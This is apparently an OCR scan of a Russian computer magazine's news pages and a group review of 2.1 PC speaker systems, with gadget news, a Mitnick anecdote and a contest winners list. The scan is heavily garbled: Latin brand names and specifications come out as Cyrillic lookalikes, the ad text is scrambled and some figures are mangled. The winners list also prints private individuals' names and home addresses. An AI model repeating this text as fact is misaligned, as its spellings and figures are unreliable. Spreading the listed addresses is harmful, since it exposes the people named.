высота корпуса ОѴР 
630 лишь немного пре- 
вышает четыре санти- 
метра. Плеер осущес- 
твляет четырехкратный 
апсемплинг видеопо- 
тока и умеет выводить 
сигнал с ргодгеззіѵе 
зсап в РАб. Помимо 5- 



Ѵібео, устройство об- 
ладает композитным и 
Зсагі-разъемом. Но- 
винка использует циф- 
ро-аналоговые преоб- 
разователи 24-бит/1 92 
кГц, которые обеспе- 
чивают приемлемое 
качество: так, отноше- 
ние сигнал/шум сос- 
тавляет 105 дБ. ■ 



ХОЗЯЙСТВЕННОЙ 

ТЕПЕЖКО-СКУТЕР 





НІТЕСН 












Г ран-при конкурса изобретателей, кото- 
рый проводил журнал Рориіаг Зсіепсе 
(штрорзсі.сот), получил концептуальный 
самокат, складывающийся в сумку-тележ- 
ку. Разработка тайского инженера напо- 
минает скутер Зедѵѵау, но, доехав до вхо- 
да в метро, новый самокат можно сложить 
и пройти в вагон подземки. Телескопичес- 
кий руль прячется в корпусе устройства и 
превращается в ручку для переноски. В 
этот момент Тгапзрогіег больше напоми- 
нает хозяйственную сумку с тремя отки- 
дывающимися колесиками. ■ 



в погоне за защитой 




М инистр энергетики США Абрахам Спенсер обратился к американскому пра- 
вительству с требованием увеличить защиту компьютерных сетей своего 
министерства. Помимо всего прочего, это ведомство занимается ядерными 
разработками, так что немножко паранойи, по словам Спенсера, не помешает. 
Повышение защиты подразумевает создание спецподразделения компьютер- 
ной безопасности, которое будет быстро реагировать на внезапные внешние 
атаки; перенос всех «Іор-зесгеі» материалов в одно, тщательно охраняемое 
место; оснащение компьютеров файрволами и системами определения атак; 
аутентификацию сотрудников более совершенными методами, чем пластико- 
вые карты и электронные ключи; подготовку персонала к случаям компьютерного вторжения и т.п. Программа 
уже запущена, ее полная реализация ожидается к середине 2005 г. ■ 




ВИДЕО 



С ВОДЯНЫМ 0ХП0ЖДЕНИЕИ 



И нтересную видеокарточку 
представила компания 
Саіпѵѵагб - Саіпѵѵагб СооІРХ Роѵѵег- 
Раск. Новинка работает на базе 
графического чипа ІМѴЮІА СеРогсе 
6800 Шга и оснащена системой 
водяного охлаждения, что добав- 
ляет устройству экзотичности. 
Кристалл СеРогсе 6800 Шга в уст- 
ройстве работает на полную - с 
тактовой частотой 450 МГц, и ис- 
пользует 256 Мб 1,2-ГГц памяти 
ООВЗ. Устройство оборудовано 
выходами ѴСА и РѴІ, рекомендо- 



ванная цена также экзоти- 
ческая, 900 евро ;). Парал- 
лельно компания предста- 
вила эту же карточку, но 
уже с воздушным охлажде- 
нием на базе современных 120- 
мм вентиляторов на хороших под- 
шипниках, что позволило снизить 
до минимума шумовые эффекты 
от работы системы охлаждения. 
Само собой, отказ от дорогой сис- 
темы водяного охлаждения повлек 
за собой и снижение тактовых час- 
тот чипа (до 430 МГц) и памяти (до 




1150 МГц). Вслед за упавшей про- 
изводительностью снизилась и 
цена - 600 евро. Обе новинки под- 
держивают одновременный вывод 
на два дисплея, максимальное 
разрешение до 2048x1536 и час- 
тоту регенерации картинки 85 Гц. 
Видеовыход кІТЗС/РАІ. обеспечи- 
вает разрешение до 1024x768. ■ 
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КОЙ-ТЕК рацио 




К омпания Риге Оідііаі представила радиоприемник ТИе Вид (ѵѵѵѵѵѵ.іІіеЬид.сот) 
с возможностью "отмотать назад" прямой эфир. Благодаря революцион- 
ной технологии записи эфира, песню можно перекрутить на начало, даже ес- 
ли ее трансляция началась несколько минут назад. В любой момент эфир 
можно поставить на паузу, а затем возобновить прослушивание. Нажатием 
одной кнопки треки сейвятся на флешку, а через ІІ5В-кабель могут быть пе- 
реданы на РС. Приемник также функционирует в режиме трЗ-плеера. Содер- 
жимое ЮЗ-тегов выводится на жидкокристаллический экран на гнущейся под- 
ножке, которую можно по-всякому изгибать. ТИе Вид имеет встроенный бу- 
дильник и таймер на запись и отключение. Новинка поддерживает цифровой 
стандарт ОАВ и комплектуется стереонаушниками. Цена устройства в интер- 
нет-магазине - около 250 долларов. ■ 



КОЙ-ТЕК КРОССОВКИ 



К омпания Абібаз анонсировала "умные кроссовки" с микрокомпьютером. 

В основе интеллектуальной системы амортизации лежат принципы ра- 
боты нервной системы человека. Функции рецептора выполняет блок 
электромагнитных сенсоров. Расположенный под пяткой датчик вычисляет 
просадку каблука, то есть расстояние от верхней до нижней части подош- 
вы, с точностью до 0,1 мм и передает данные на микрокомпьютер. Под 
сводом стопы расположен "мозг" системы. Программа, зашитая в микроп- 
роцессор, производит 5 миллионов операций в секунду. Если данные о 
сжатии стопы далеки от идеала, задело берется "мышца". В подошву крос- 
совок встроен миниатюрный механический привод с электромоторчиком и 
тросиком. Поворот винта удлиняет или укорачивает тросик, стягивающий 
стенки амортизатора. В результате подошва плавно становится мягче или 
жестче. По бокам кроссовок расположены кнопки и светодиодные индика- 
торы для индивидуальной настройки системы. 

Вес "умной начинки" - всего 40 граммов. 

Питание обеспечивает малень- 
кая батарейка, рассчи- 
танная на 100 часов 
бега. Продажи крос- 
совок начнутся этой 
зимой по цене около 
250 долларов. ■ 
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иитникпоиог 

ЗПДЕРЖПТЬ ФРИКЕРП 




К евин Митник стал настоящим героем 
в маленьком американском городке 
Віѵег Воиде (штат Мичиган), после того 
как помог полиции выследить телефонно- 
го хулигана. Началась эта история нес- 
колько месяцев назад. Преподаватели од- 
ной из местных школ стали получать теле- 
фонные звонки с сообщениями о заложен- 
ной бомбе. После эвакуации учеников и 
обыска здания оказывалось, что никакой 
бомбы на самом деле нет. Звонки продол- 
жались, расследованием этого дела заня- 
лись местные детективы. Несмотря на го- 
товность телефонной компании к сотруд- 
ничеству, определить местоположение 
шутника не удалось. Парень звонил не из 
дома, а из какого-то автомата, используя 
технологию спуфинга идентификации 
абонента. Зайдя в тупик, детективы пере- 
рыли инет в поисках информации и натк- 
нулись на статью Кевина Митника, где он 
этот способ рассматривал. Связавшись с 
Кевом, они попросили его посодейство- 
вать, и бывший хакер согласился. У мно- 
гоопытного Митника выследить фрикера 
много времени не заняло, так что сейчас 
шутник сидит под подпиской о невыезде, 
ожидая суда, а Кев получил официальные 
благодарности от полиции Мичигана. ■ 



ИНЕТ НО КППЯВ9 - 
ЯНДЕКСЛѴШ 



НІТЕСН 




С тартовал новый проект 
Яндекс.ѴѴІРІ. В сети 
ресторанов "Ростик Ресто- 
рантс" (Американский Бар и 
Гриль, Санта Фе, Ргібау'з) 
открылись точки доступа 
ѴѴі-Рі. Теперь любой посе- 
титель ресторана за чашкой 
кофе может посидеть в ин- 
тернете. Для этого необхо- 
димо только иметь ноутбук 
или КПК с поддержкой ѴѴІ- 
РІ. Главное: инет дают аб- 
солютно БЕСПЛАТНО! СИН- 
тез с Кутером посетили 
Т.О.І. Ргібау'з на Тверской 
(на углу, около кинотеатра 



Кодак Киномир, рядом с 
метро Тверская). Коннект 
1 1 Мбит, прокачка от 2 до 
15 кило в сек. Чем меньше 
народу качают, тем шире на 
тебя канал. Очень удобно и 
хайтечно. Хочется поблаго- 
дарить организаторов этого 
проекта, компании Таском, 
Іпіеі, ІВМ, Ресторанный 
холдинг «Ростик Ресто- 
рантс» и Уапбех. Также хо- 
чется отметить: организа- 
торы заверяют, что инет 
есть и будет бесплатным. 
Так что, парни, у кого есть 
ноутбук или КПК с ѴѴі-Рі - 
теісоте. Мы уже потестили 
и нам понравилось. Адреса, 
телефоны, карты проезда, 
явки, фотографии связных - 
все на ѵѵіГі.уапсіех.ги. ■ 



ПОБЕДИТЕЛИ 8ІЕИЕИ8 

З іетепз подводит итоги конкурса и спешит поздравить 
своих победителей. Вот они: 

Телефон Зіетепз А52 - Монаселидзе Нодар Зелимханович, 



Москва - 300, в\ч 96667, вто- 
рая рота, 101300. 

Телефон Зіетепз С60 - Голу- 
бев Ю.В. Нижегородская 
обл., г.Заволжск, ул. Лунача- 
рского, д.2, кв.9. 

Телефон Зіетепз МС60 - 
Андрицова Даниила, Красно- 
дарский край, г. Новорос- 
сийск, ул. Волгоградская, 
д.36, кв.62. 

Телефон Зіетепз 5І_55 - по- 
бедитель Ыаск_теп@гат- 
Ыег.ги. 

Телефон Зіетепз 5X1 - побе- 
дитель 1азсіпо@уапбех.ги. ■ 




НЕОБЫЧНЫЙ ГИБРИД 



ЖЕЛЕЗО 



КВ0НТ0В0Я РЕВОЛЮЦИЯ 




Г оловастые японцы не устают выдавать 
на-гора новые революционные откры- 
тия. Одним из последних стал проект На- 
ционального исследовательского института 
промышленного хай-тека, находящегося в 
г. Цукуба. Сотрудники этого вуза создали 
новую квантовую технологию шифрования 
информации, которая работает быстрее 
существующих в 1 00 раз. Квантовая крип- 
то-технология была разработана компани- 
ей Мадіц Тесііпоіодіез на средства ОАВРА 
несколько лет назад. Используется она в 
основном на скоростных магистралях для 
передачи секретных данных. При этом 
ключ меняется 4 раза в секунду, что пол- 
ностью исключает возможность статичес- 
кого «взлома». До недавнего времени, что- 
бы сгенерировать ключ, требовалось пот- 
ратить 1 3 часов. Теперь на это уходит око- 
ло 8 минут. Квантовая технология - самая 
перспективная на данный момент техноло- 
гия обмена шифрованными сообщениями. 
Предполагается, что в не столь отдаленном 
будущем, благодаря ей можно будет до- 
биться абсолютной защиты от взлома. Ко- 
нечно, подобное мы уже не раз слышали, 
но раскодирование данных, зашифрован- 
ных квантовым методом, требует огромных 
ресурсов и вряд ли будет по зубам даже 
правительственным организациям, не го- 
воря уже о частных лицах. ■ 



Н еобычное забавное устройство предложила 
своим покупателям компания Тгапзсепб 
Іпіогтаііоп. Это ни много ни мало гибрид 115В- 
флешки с цифровой фотокамерой! Хозяин такой 
флешки сможет переносить с собой до 256 мега- 
байт ценной информации, а если по пути увидит 
что-то интересное, реакция не заставит себя долго 
ждать: он просто сфотографирует объект внимания 
с помощью такой вот необычной флешки. Де^РІазИ 
Эідііаі 51ІІІ Сатега пока выпускается только в двух 
вариантах: Т51 28МДР-05С и Т52561ШР-05С - они 
отличаются лишь объемом памяти, 128 и 256 Мб 
соответственно. В ближайшем будущем планирует- 




ся начать производство моделей и с большей ем- 
костью. Размеры нового устройства - 80x29x16 
мм, вес - 26 граммов. С компьютером флешки свя- 
зываются при помощи старинного 115В 1.1, однако 
в будущем планируется добавить поддержку ЭЗБ 
2.0. Вот остальные характеристики новинки: 

л Матрица: 1/4", 640x480 пикселей 

а Фокус: фиксированный, фокусное расстояние - 45 см - бесконечность 
а Обьектив: Р2.8, угол обзора - 53° 
а Автоматический баланс белого 
л Время между сьемкой двух кадров: менее I сек 
а Время готовности к сьемке: до 3 сек 
А Время заряда аккумулятора: до I часов ■ 
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ПК поспевают за 
мпом работы? 



И дни сотрудникам всегда приходится де, 
пько дел одновременно, что предъявляе 
іолее высокие требования к их ПК. А 

по лому компьютеръ! 1И_ТКА ™ на ба^Д 
■ ІпМ0Репйит@4 Ш 

«и НТ были разработаны Л 



193185, Санкт-Петербург, ул, Возрождений, д. 20 А 
(&12) ЗЗБ-3777; шшѵи.-5рЬлр|[гасотр,ги 



Интернет* магазин: 
жшж г и ІТ К А-оШ [лети 



115142, Москва, уа Коломенская, д. 17 

(095) 775-755$, 729-5255, 729-5244; ^ѵѵдііігаеолір.ш 




Сйоржа крмпкгідігррап на .такая 
Продаика в кредит 
Доставка 

Р.ібпгл іі будни ДО 22 ,( 10 , 
о оуЁ&оту ДО 20,00 
Оплата принимается о рублях, 
долларах США н сиро 







ЖЕЛЕЗО 





два или один? 



ТЕСТИРУЕМ 2.1 АУДИОСИСТЕМЫ 



I ІезМаЬ (ІезНаЬідатеІапіІ.ги) 



И авно-давно был РС-зреакег (который до сих пор живет и прекрасно себп чувствует во всех системных 
блоках], и все радовались пищаще-скрипящим звукам, которые он издавал. Позже, с появлением аудиокарт, 
стали появляться стереосистемы... 



Ну и совсем уж недавно произо- 
шел аудиобум и производители ста- 
ли дополнять комплекты низкочас- 
тотной колонкой, индексация немно- 
го поменялась, и сейчас в названии 
аудиосистемы присутствуют две 
цифры - первая это количество са- 
теллитов, а вторая указывает на ко- 
личество сабвуферов. Сегодня мы 
протестировали 2.1 акустику стои- 
мостью до $100+. 

Во всех акустических системах 
(хоть 2, хоть 2.1 , хоть 7.2) основная 
работа ложится на плечи передних 
сателлитов, поскольку они предназ- 
начены для воспроизведения балан- 
са и музыкальной картины. Очень 
часто фронтальные колонки являют- 
ся двухполосными (всечастотный и 
высокочастотный динамики). 

Многим до сих пор требуется всего 
лишь послушать музыку да поиграть в 
игры, для чего лучше 2.1 комплекта 
не найдешь, поскольку большинство 
форматов кодирования звука предос- 
тавляют возможность создавать толь- 
ко стереозвучание, не жалуя нас хоро- 
шим качеством музыки. При выборе 
акустики стоит обратить внимание на 
несколько параметров. 

МОЩНОСТЬ 

Именно по этому параметру боль- 
шинство выбирает себе акустику, 



однако не стоит забывать, что мощ- 
ность и возможная громкость систе- 
мы это не одно и то же. Также стоит 
учитывать тот факт, что большин- 
ство производителей в рекламных 
целях указывают не реальное, а пи- 
ковое значение, которое вовсе не 
отражает реальную картину. Мы ука- 
зывали среднеквадратичную мощ- 
ность (НМ5) как наиболее прибли- 
женную к реальной. 

частотный диапазон 

Это значение также один из основ- 
ных параметров, характеризующих 
систему, а смысл его в том, какие 
звуки способна издавать система, 
то есть что будет при писке комара 
(высокий звук) или взрыве (низкий 
звук). Изготовители в характерис- 
тиках колонок опять же указывают 
максимально возможные значения, 
не заботясь о том, что, допустим, 
звук в 20 Гц система может восп- 
роизвести, но человеческое ухо его 
не воспримет по причине очень 
слабой громкости (не хватает силе- 
нок у динамика). 

расстановка 

В 2.1 акустике никаких сложностей с 
расстановкой колонок возникнуть не 
должно, стоит учитывать лишь тот 
факт, что располагать их нужно по 



бокам от слушателя (но не спереди, 
так как в этом случае потеряется 
стерео). А сабвуфер стоит устанав- 
ливать на жесткую поверхность, пос- 
кольку на ковре нормального баса 
получить не удастся. 

Из всего вышесказанного следу- 
ет вывод: прежде чем определить- 
ся с выбором, стоит послушать ту 
или иную систему, причем лучше 



СПИСОК ПР0ТЕСТИР0ВПНН0Г0 ОБОРУДОВОНИЯ 


Еепіігз 5Р-02.1 


]т 18902 


ЬодЦесЦ Х220 


МісгоІаЬ М-560к 


Зѵеп 848 


Зѵеп ЗР5-828 


ТОК Х5-ІѴ 5-150 


МісгоІаЬ М-300 


Сгеаііѵе І-ТКІ61ІЕ 3500 


Сгеаііѵе Іпзріге Т2900 


Сгеаііѵе ГТВІОІІЕ 3300 


Нагтап/КагОоп ЗоілкШіскзІІ 




ІезПаЬ благодарит за 
предоставленное оборудование 
компании Остров Формоза (т. 728- 
40-04) и Бюрократ (т. 745-55-11) 



всего, если ты выберешь несколько 
композиций, в которых присутству- 
ют как громкие низкие звуки, так и 
высокие ноты. 

МЕТодика ТЕСтирования 

Для оценки качества звучания акус- 
тической системы мы использовали 
несколько программ: 

О. С помощью ЗЭЗоипсІ мы оп- 
ределяли баланс левого и правого 
сателлитов. В некоторых системах 
стоят некачественные усилители, 
или провода левого и правого кана- 
лов находятся слишком близко, из- 
за чего происходит взаимопроник- 
новение каналов. 

О. В игре ІІпгеаІ Тоигпатепі 
2004 оценивалось поведение систе- 
мы при возникновении резких и 
громких звуков (выстрелы, взрывы). 

О. ѴѴіпЭѴЭ 5 использовался для 
прослушивания ОѴЭ-фильма (в ре- 
жиме стерео). 

О. МРЗ-плеер АроІІо (признан- 
ный лидер по качеству звука) для 
прослушивания музыки несколь- 
ких стилей: СІаззіс, Меіаі, №ѵѵ 
Аде, Тгапсе. 

Л ВЫВОДЫ 

После тестирования акустики сложи- 
лось впечатление, что чем более 
примитивная по дизайну система и 
чем невзрачнее коробка, тем лучшее 
качество воспроизводимого звука. 
Сегодня среди 2.1 канальных систем 
победила Зѵеп 848, а награда опти- 
мальное соотношение цена/качество 
досталась ТОКХЗ-іѴ 5-150. X 




НПКМПІІ/КПШИ 80ІІШТІСК8ІІ 



С разу поражает необычный 
дизайн системы - это вторая 
прозрачная акустика в нашем 
обзоре. Сателлиты содержат в себе 
целых четыре динамика малого раз- 
мера, а сабвуфер похож на необыч- 
ный космический объект с отверс- 
тием посередине. Индикатор пита- 
ния светится синим цветом, а в тем- 
ноте сабвуфер становится синева- 
тым. Интересный способ изменения 
громкости применили разработчи- 
ки: для изменения звука предназна- 
чены два контакта (громче/тише). 
По звучанию система довольно 
неплохая, но при большой гром- 



кости начинаются проблемы как с 
высокими, так и с низкими часто- 
тами (все из-за того что колонки 
сделаны из пластика). 

Соединение компонентов системы 
между собой не вызывает труднос- 
тей, для каждого из разъемов при- 
сутствует только подходящая для 
него ответная часть. У сателлитов 
имеются поворотные подставки (в 
плоскости пользователя). 
РЕЗУЛЬТАТ: Любителям необыч- 
ного посвящается, но наряду с кра- 
сивым дизайном система обладает 
и достойным звучанием. 
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два или один? 



А 



~ ВЕНШ88Н2.1 









П кустическая система Сепіиз 
5Р-02.1 одна из самых ма- 
леньких в нашем обзоре, пред- 
назначена, скорее всего, для подк- 
лючения к плееру вместо наушников 
или как походный вариант для ноут- 
бука. Из-за малых размеров сабву- 
фера говорить о хороших басах не 
приходится (они не чувствуются во- 
обще), а низкочастотный динамик 
работает скорее в диапазоне сред- 
них волн. При взрывах в играх слыш- 
ны трески и "гундеж", а когда играют 
классические произведения, то 
прослушиваются некоторые дребез- 
жания сателлитов. 

В подключении 5Р-02.1 не самая 
удобная система: провод для соеди- 
нения с источником звука несъем- 



ный (впаян в сабвуфер), а значит, 
может не хватить его длины. Сател- 
литы присоединяются к низкочас- 
тотному динамику довольно корот- 
кими проводами (их едва хватает, 
чтобы дотянуться от звуковой карты 
до стола) с разъемом ВСА на конце. 
По дизайну - довольно простая сис- 
тема, все регуляторы располагаются 
на сабвуфере, а управлять ими дос- 
таточно удобно. 

РЕЗУЛЬТАТ: Из-за малых разме- 
ров система будет удобной в дороге, 
но меломану стоит обратить внима- 
ние на что-либо другое. 



ХПРПКТЕРИСТИКИ 

Мощность РМРО: 320 Вт 

Частотный диапазон: 80-18000 Гц (отдельно не 
указано) 



Вход: МіпЫаск 

Материал: пластик (сабвуфер), пластик 
(сателлиты) 





<1022 ^902 



■ ш. 98902 позиционируется как 
_ I система, способная воспроиз- 
водить звук с компьютера, 
МРЗ/ІѴЮ/СО-плеера. И, в общем, об 
этой акустике складывается весьма 
приятное впечатление: и хотя сабву- 
фер не жесткий (при ударе по нему - 
дребезжит), проигрываемые им низ- 
кочастотные звуки вполне достойного 
качества. Единственное нарекание - 
при мощном басе (тяжелая музыка 
или взрывы в ІІТ2004) возникают не- 
которые "запирания". К области ВЧ- 
звука, издаваемого системой, также 
сложно придраться: удивительным 
является факт отсутствия дребезжа- 
ния у пластиковых сателлитов. 
Соединение с компьютером не выз- 
вало сложностей, однако несъем- 
ные провода сателлитов могут не 
дотянуться до блока управления при 
больших размерах компьютерного 
стола. Интересным оказалось то, 



★ ★★★ 



что входы для колонок обозначены 
разными цветами (красный и бе- 
лый), а сами коннекторы только од- 
ного (белого). 

Внешний вид 98902 должен понра- 
виться любителям МАС'ов, поскольку 
все компоненты системы сделаны из 
прозрачного пластика (кроме блока 
управления - он серебристый) и име- 
ют округлые формы (а сабвуфер - на- 
туральное яйцо на ножках). Регулято- 
ры звука помещены в отдельный блок 
(это присуще практически всем сис- 
темам от 9э22), а единственной нек- 
расивостью является адаптер пита- 
ния (внешний), который будет лежать 
черным кирпичом у ног. 
РЕЗУЛЬТАТ: Видимо, акустика 
ориентирована на любителей всего 
прозрачного и необычного, впро- 
чем, в системе органично сочета- 
ются интересный дизайн и хорошее 
качество звука. 



КЯРОКТЕРИСТИКИ 

Мощность ВМЗ: 12 Вт (сабвуфер), 2x4 Вт 
(сателлиты) 

Частотный диапазон: 50-20000 Гц (отдельно 
не указано) 

Вход: Міпібаск 

Материал: прозрачный пластик (сабвуфер), 
прозрачный пластик (сателлиты) 

Размеры: 250x270x250 мм (сабвуфер), 
103x87x103 мм (сателлиты) 



ЮОІТЕСН Х220 



О дной из проблем системы 
І-оді4есй Х220 является глухой 
бас: при взрывах или резких 
ударах/столкновениях система ведет 
себя неадекватно и проявляется гу- 
дение, способное "взорвать мозги" 
(что особенно плохо при прослушива- 
нии музыки). Высокие же частоты 
звучат приемлемо, так что желания 
резко вырубить колонки не возника- 
ет. Обращает на себя внимание при- 
сутствие в комплекте описания на 
русском языке, где достаточно под- 
робно объясняется последователь- 
ность соединения компонентов сис- 
темы с компьютером и между собой. 
Значительные трудности вызывает 
подключение: сателлиты жестко при- 
вязаны друг к другу (провод, соеди- 
няющий колонки, несъемный и без 
коннекторов), из-за чего происходит 
путаница с проводами. Но, к счастью, 



все провода отключаются от сабву- 
фера, а подключение сателлитов про- 
исходит при помощи одного-един- 
ственного разъема. 

Интересная форма колонок-сопрово- 
дителей органично впишется в стро- 
гий кабинет, причем сам корпус с ди- 
намиком подвижный (в плоскости 
стола) относительно подставки. 
Странным является расположение 
регулятора громкости баса позади 
сабвуфера, тогда как все остальные 
ручки управления (общая громкость, 
питание, выход под наушники) нахо- 
дятся на левом сателлите. 
РЕЗУЛЬТАТ: Сойдет для просмотра 
спокойных фильмов или не экшн игр. 







ХПРПКТЕРИСТИКИ 



Мощность ВИЗ: 20,4 Вт (сабвуфер), 2x11,6 Вт 
(сателлиты) 



Частотный диапазон: 35-20000 Гц 



Вход: 2КСА 8 МіпЦаск (переходник в 
комплекте) 



Материал: ПСП (сабвуфер), пластик 
(сателлиты) 

Размеры: 260x203x203 мм (сабвуфер), 
127x102x108 мм (сателлиты) 












С истема поставляется в простой 
серой коробке, внутри которой 
оказывается полная противопо- 
ложность - стильные сателлиты с кра- 
сивыми изогнутыми сетками (колонки 
достаточно тонкие и легко помещаются 
на столе). Впрочем, достоинством сис- 
темы является не только внешний вид - 
звучание хорошее, и даже при макси- 
мальной громкости низкочастотная ко- 
лонка старается изо всех сил, не допус- 
кая "запираний". Однако из-за малых 
размеров сабвуфера бас звучит не 
очень проникновенно. Относительно 
средних и высоких частот нареканий 
нет - системе удается одинаково хоро- 
шо воспроизводить как классическую, 



так и тяжелую музыку; озвучивать иг- 
ры; дополнять звуком визуальную кар- 
тину происходящего в фильмах. 

При соединении сателлитов с сабвуфе- 
ром и подключении системы к компью- 
теру сложностей не возникло, все 
просто и удобно присоединяется при 
помощи отдельных проводов и зажи- 
мов на колонках. Единственный непри- 
ятный момент - острые углы сателли- 
тов, которые сильно царапаются (из-за 
чего пострадал один тестер :). 
РЕЗУЛЬТАТ: Хорошая система для 
тех, у кого мало места на столе, прек- 
расно озвучит все, что только можно, 
однако для хорошей дискотеки мощ- 
ность все же маловата. 



СВЕОТШЕ ІН8РІВЕ Т2900 



В сателлитах Сгеабѵе Іпзріге 
Т2900 присутствуют два дина- 
мика, призванных расширить 
диапазон частот (один для средних и 
пищалка для высоких). Звучание дос- 
таточно хорошее, и твиттеры дают о 
себе знать, дополняя воспроизводи- 
мые звуки полноценными высокими 
частотами. Сабвуфер оправдывает 
свое предназначение и выдает неп- 
лохой бас, однако при полностью 
выкрученном регуляторе НЧ-колонки 
появляется «гул» при резких сменах 
звуковой обстановки (например, 



взрывы). Все разъемы и провода про- 
маркированы соответствующим обра- 
зом. Все впечатление от системы 
портит пульт, который соединяется с 
сабвуфером при помощи провода (на 
пульте присутствуют: громкость-пита- 
ние/уровень баса/выход под наушни- 
ки). Под сателлиты есть специальные 
подставки (входят в комплект), а блок 
питания внешний. 

РЕЗУЛЬТАТ: Система позволит музы- 
кой скрасить работу за компьютером, 
но для игр и фильмов это не выбор. 



Т0КК8-ІН 8-150 



К олонки ТОК Х5-ІѴ сделаны с 
применением интересной тех- 
нологии ЗигіасеЗиггоипсІ, раз- 
работанной в компании ИХГ, и обла- 
дают необыкновенно приятным зву- 
ком. Такой способ формирования 
звуковых волн - возбуждение плос- 
кой поверхности в определенном 
месте с нужной частотой - позволя- 
ет, во-первых, уменьшить толщину 
сателлитов, а во-вторых, расширить 
зону охвата, где будет слышна музы- 
ка. На предельной громкости слыш- 
ны «запирания» сабвуфера, но от 



этого легко избавиться, если немно- 
го понизить уровень баса. 

В подключении и установке система 
довольно простая - все провода 
промаркированы, и гнезда перепу- 
тать невозможно по причине их раз- 
ных размеров. Все регуляторы рас- 
положены на правой колонке, всего 
их три: общая громкость, уровень 
высоких частот, уровень баса. 
РЕЗУЛЬТАТ: Отличный звук дол- 
жен порадовать меломанов, а тон- 
кие колонки позволят сэкономить 
место на рабочем столе. 



ХПРПКТЕРИСТИКИ 

Мощность КМ5: 18 Вт (сабвуфер), 2x7 Вт 
(сателлиты) 

Частотный диапазон: 50-18000 Гц 
Вход: Міпкіаск 



ХПРПКТЕРИСТИКИ 

Мощность КМ5: 17 Вт (сабвуфер), 2x6 Вт 
(сателлиты) 

Частотный диапазон: 40-20000 Гц 
Вход: Міпкіаск 

Материал: ДСП (сабвуфер), пластик 
(сателлиты) 

Размеры: не указаны 



★ ★ ★★★ 



ХПРПКТЕРИСТИКИ 

Мощность ВМ8: 2x21 Вт (сабвуфер), 2x16,5 Вт 
(сателлиты) 

Частотный диапазон: 50-20000 Гц 
Вход: Міпкіаск 

Размеры: 25x244x69 мм (сателлиты), 
152x127x406 мм (сабвуфер) 





місноілв и-зоо 






П о звучанию «малышка» ни- 
чуть не уступает своим 
большим аналогам. Систе- 
ма нормально ведет себя при про- 
игрывании музыки и при игре в 
1Чпгеа1 ТоигпатепЕ 2004 - бас 
мощный (правда, немного не хва- 
тает полосы пропускания саба), 
высокие частоты срезаются в об- 
ласти пищащего звука. 

Все провода на пружинных зажимах 
(но жестко встроены в сателлиты). К 



сожалению, провод для подключе- 
ния к компьютеру оказался коротко- 
ват, но если сабвуфер будет стоять 
рядом с системным блоком, то 
проблем возникнуть не должно. Из 
регуляторов присутствуют только 
общая громкость и уровень баса, 
также в комплекте обнаружилась 
русская документация. 

РЕЗУЛЬТАТ: Хороший выбор для 
создания звукового фона при работе 
за компьютером. 



ХПРПКТЕРИСТИКИ 



Мощность 8М$: 18 Вт (сабвуфер), 2x7 Вт 
(сателлиты) 

Частотный диапазон: 50-18000 Гц 
Вход: Міпкіаск 

Материал: ДСП (сабвуфер), пластик 
(сателлиты) 

Размеры: 318x182x342 мм (саб), 90x90x11,5 мм 
(сателлиты) 
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два или один? 







СВЕДШІЕ І-ТВІ6ДЕ 3300 



Е ще одна система от Сгеакіѵе - 
І-ТВІСІІЕ 3300 - сразу привле- 
кает внимание необычными 
сателлитами (у них аж три динами- 
ка). Малая площадь основания коло- 
нок-спутников, однако, компенсиру- 
ется их высотой, и полупрозрачная 
«башенка» с серебристыми кружка- 
ми динамиков будет отлично смот- 
реться практически в любой обста- 
новке. Также в комплект входят спе- 
циальные сетки для сателлитов, при 
использовании которых система 
имеет весьма привлекательный вид 
(к слову, сетка сабвуфера тоже съ- 
емная). Мягкая наклейка на подстав- 
ку колонок исключает возможность 
появления царапин на полированном 
столе при передвижении. Как прак- 
тически все системы от Сгеаііѵе, 
акустика комплектуется пультом на 
проводе (в этой версии он очень не- 



удобный), к которому прилагается 
наклейка для закрепления на столе 
или стене. А отдавая дань моде, ин- 
женеры решили сделать синюю 
подсветку индикатора питания на 
пульте. Провода, соединяющие меж- 
ду собой компоненты системы, 
жестко впаяны в сателлиты, а на кон- 
це у них МіпУаск-разъемы. Достоин- 
ством можно назвать позолоченные 
коннекторы, которые обеспечивают 
передачу звука без искажений. 

В работе акустики никакого особен- 
ного звучания из-за Зх динамиков не 
проявляется, а бас при полной гром- 
кости входит в ступор, издавая «гун- 
дящие» звуки, от которых взрывается 
голова. 

РЕЗУЛЬТАТ: Стильная, но «обыч- 
ная» по звуку система. 



характеристики 



Мощность РМ5: 25 Вт (сабвуфер), 2x9 Вт 
(сателлиты) 



Частотный диапазон: 40-20000 Гц 



Вход: Міпкіаск 



Материал: ДСП (сабвуфер), пластик 
(сателлиты) 



Размеры: 240x235x235 мм (сабвуфер), 
220x45x45 мм (сателлиты) 



ШПТІѴЕІ-ТПІШ3500 



Р еинкарнация предыдущей 
системы имеет несколько 
иной дизайн сателлитов и 
сабвуфера и чуть лучшие характе- 
ристики. Очень стильные по виду 
«спутники» обладают все теми же 
тремя динамиками, только теперь 
один из них располагается с внеш- 
ней стороны и имеет немного боль- 
шую форму (видимо, для улучшения 
средних частот, воспроизводимых 
системой). Также этот динамик 
предназначен для расширения зву- 
ковой картины (создания объемного 
звучания). Однако все примененные 
технологии и изменения в располо- 
жении динамиков не сильно изме- 
нили звучание (по сравнению с I- 
ТВІОІІЕ 3300), никакого «волшебно- 
го» звука мы не услышали, только 
более качественно стали прораба- 



тываться средние и высокие часто- 
ты. С басом же проблема осталась - 
на максимальном уровне система 
издает жуткие «гундящие» звуки, од- 
нако если регулятор выставить на 
середину, картина выглядит гораздо 
лучше, и отчасти низкие звуки 
чувствуются всем телом. 

Интересно подключение сателлитов 
к сабвуферу, которое происходит 
при помощи сдвоенного КСА-разъе- 
ма - это сделано для разделения пи- 
щалок и СЧ-громкоговорителя (пер- 
вые подключаются через встроен- 
ный усилитель). В остальном же 
наблюдается полная аналогия с пре- 
дыдущей акустикой. 

РЕЗУЛЬТАТ: Если регулятор «Ьазз» 
выставить на середину, то система 
вполне подойдет для просмотра 
фильмов, игр, музыки. 



★ ★★ 




характеристики 



Мощность ВИЗ: 30 Вт (сабвуфер), 2x9 Вт 
(сателлиты) 



Частотный диапазон: 30-20000 Гц 



Вход: МіпУаск 



Материал: ДСП (сабвуфер), пластик 
(сателлиты) 



Размеры: 265x180x300 мм (сабвуфер), 
75x50x20,5 мм (сателлиты) 



8НЕИ 848 



П олностью деревянная систе- 
ма 5ѵеп 848 полностью оп- 
равдает вложенные в нее 
средства. Внушительных размеров 
сабвуфер способен сотрясать пол и 
обволакивать комнату мощным про- 
никновенным басом. Сателлиты со- 
